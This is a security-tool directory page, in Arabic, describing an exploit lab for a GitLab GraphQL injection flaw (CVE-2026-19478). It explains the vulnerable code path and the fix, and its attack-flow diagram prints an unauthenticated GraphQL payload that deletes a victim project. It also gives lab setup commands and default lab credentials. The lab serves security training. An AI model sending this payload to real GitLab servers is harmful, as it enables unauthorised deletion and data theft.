Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Gitlab-CVE-2026-19478 — مختبر استغلال وسكربت مُعبّآن في حاويات Docker لثغرة CVE-2026-19478، وهي حقن كود GraphQL حرِج وغير مصادق عليه في GitLab يتيح استدعاء دوال Ruby بشكل عشوائي، وحذف المشاريع، واستخراج البيانات. | Kitploit
أدوات/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

مختبر استغلال وسكربت مُعبّآن في حاويات Docker لثغرة CVE-2026-19478، وهي حقن كود GraphQL حرِج وغير مصادق عليه في GitLab يتيح استدعاء دوال Ruby بشكل عشوائي، وحذف المشاريع، واستخراج البيانات.

عرض المستودع
41منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-19478 — حقن توجيهات @gl_introduced في GraphQL الخاص بـ GitLab

حقن كود عن بُعد بدون مصادقة عبر توجيه GraphQL في GitLab CE/EE — احذف أي مشروع عام بطلب HTTP واحد

مختبر اختبار اختراق عملي يعيد إنتاج CVE-2026-19478، وهي ثغرة حرجة (CVSS 9.4) في واجهة GraphQL API الخاصة بـ GitLab. يسمح توجيه @gl_introduced للمهاجمين غير المصادَق عليهم بتنفيذ أساليب Ruby عشوائية على الكائنات في جانب الخادم — بما في ذلك حذف المشاريع، واستخراج البيانات، ونقل الملكية — بدون أي مصادقة.

يشغّل هذا المختبر نسخة حقيقية وضعيفة من GitLab CE 19.2.0 داخل Docker لممارسة استغلال واقعية.

جدول المحتويات

  • ملخص الثغرة
  • كيف يعمل الاستغلال
  • مخطط تدفق الهجوم
  • إعداد المختبر
  • دليل الاستغلال
  • استخدام سكربت الاستغلال
  • الكشف ومؤشرات الاختراق
  • المعالجة
  • المراجع
  • إخلاء المسؤولية
  • تواصل معنا

ملخص الثغرة

الحقلالقيمة
معرّف CVECVE-2026-19478
درجة CVSS9.4 (حرجة)
المنتجGitLab Community Edition (CE) / Enterprise Edition (EE)
نوع الثغرةحقن كود / تنفيذ أساليب عشوائية (CWE-94)
متجه الهجومالشبكة (عن بُعد)
المصادقةغير مطلوبة
تفاعل المستخدملا شيء
تعقيد الهجوممنخفض
الإصدارات المتأثرة18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
الإصدارات المُصحَّحة18.11.11, 19.0.8, 19.1.6, 19.2.4
مكتشف الثغرةhiimguardian (عبر HackerOne)
تاريخ التصحيح17 أغسطس 2026

الأثر

يمكن لمهاجم عن بُعد بدون مصادقة أن:

  • يحذف أي مشروع عام بشكل دائم
  • يستخرج البيانات الداخلية ورموز المسؤول والأسرار
  • يعدّل رؤية المشروع وملكيته وإعداداته
  • ينفّذ أساليب Ruby عشوائية على نموذج Project في جانب الخادم
  • يؤرشف أو ينقل المشاريع دون تصريح

كيف يعمل الاستغلال

توجيه @gl_introduced

يستخدم GitLab توجيه GraphQL مخصصًا @gl_introduced(version: "X.Y") لدعم النشر المتدرج (rolling deployments). عندما يضيف إصدار أحدث من GitLab حقلًا إلى واجهة GraphQL API، تتعامل النسخ الأقدم مع الاستعلامات التي تشير إلى تلك الحقول الجديدة بسلاسة عبر إرجاع null بدلًا من إحداث خطأ.

مسار الكود القابل للاستغلال

الملف: lib/gitlab/graphql/version_filter/future_field_fallback.rb (الأسطر 14-36)

التحليل خطوة بخطوة:

  1. FutureFieldFilter يفحص استعلامات GraphQL الواردة. عندما يحتوي حقل على @gl_introduced(version) بإصدار أحدث من إصدار الخادم الحالي، يقوم بإزالة الحقل وتعيين context[:contain_future_fields] = true.

  2. IntroducedTracer يستعيد مستند الاستعلام الأصلي في وقت التنفيذ، معيدًا الحقول المُزالة إلى شجرة الصياغة المجردة (AST).

  3. FutureFieldFallback#get_field يعترض كل عملية بحث عن حقل أثناء التنفيذ. يتحقق من ثلاثة شروط:

    • هل علامة contain_future_fields مضبوطة؟ ✅
    • هل الحقل غير موجود في المخطط (schema)؟ ✅
    • ألا يبدأ الاسم بـ __؟ ✅
    • هل اسم الحقل آمن؟ ❌ لا يوجد أي تحقق!
  4. عندما تنجح الفحوصات الثلاثة جميعها، يُنشئ حقلًا جديدًا GraphQL::Schema::Field بدون فئة محلل (resolver class).

  5. في graphql-ruby، يُحلَّ الحقل الذي لا يحتوي على محلل عبر استدعاء object.public_send(field_name) على كائن Ruby الأساسي — محوّلًا اسم حقل المهاجم إلى استدعاء أسلوب عشوائي على نموذج Project من نوع ActiveRecord.

الإصلاح (19.2.4+)

يستبدل تصحيح GitLab الإرسال الضمني للأساليب بمحلل صريح NilResolver يعيد nil دون شروط، مما يحافظ على التوافق مع النشر المتدرج مع القضاء على تنفيذ الأساليب العشوائية:

# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

مخطط تدفق الهجوم

                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

إعداد المختبر

المتطلبات الأساسية

  • تثبيت Docker و Docker Compose
  • توفر 4 GB RAM على الأقل لـ Docker (GitLab يستهلك موارد كثيرة)
  • Python 3 (لسكربت الاستغلال)
  • متصفح ويب أو curl / httpie لاختبار واجهة API

بدء سريع — GitLab CE 19.2.0 حقيقي (قابل للاستغلال)

# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

نقاط الوصول

الخدمةURLبيانات الاعتماد
واجهة ويب GitLabhttp://localhostroot / P@ssw0rd123!
واجهة GraphQL APIhttp://localhost/api/graphqlغير مطلوبة
مستكشف GraphQLhttp://localhost/-/graphql-explorerمطلوب تسجيل الدخول
SSHlocalhost:2222—

بديل خفيف (محاكاة)

للأجهزة ذات الموارد المحدودة أو لبدء تشغيل أسرع:

docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

إيقاف / إعادة تعيين كاملة

# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

دليل الاستغلال

المستوى 1 — الاستطلاع (بدون مصادقة)

تحقق من إصدار الخادم:

curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

عدد المشاريع العامة عبر GraphQL (بدون مصادقة):

تنزيل الأداة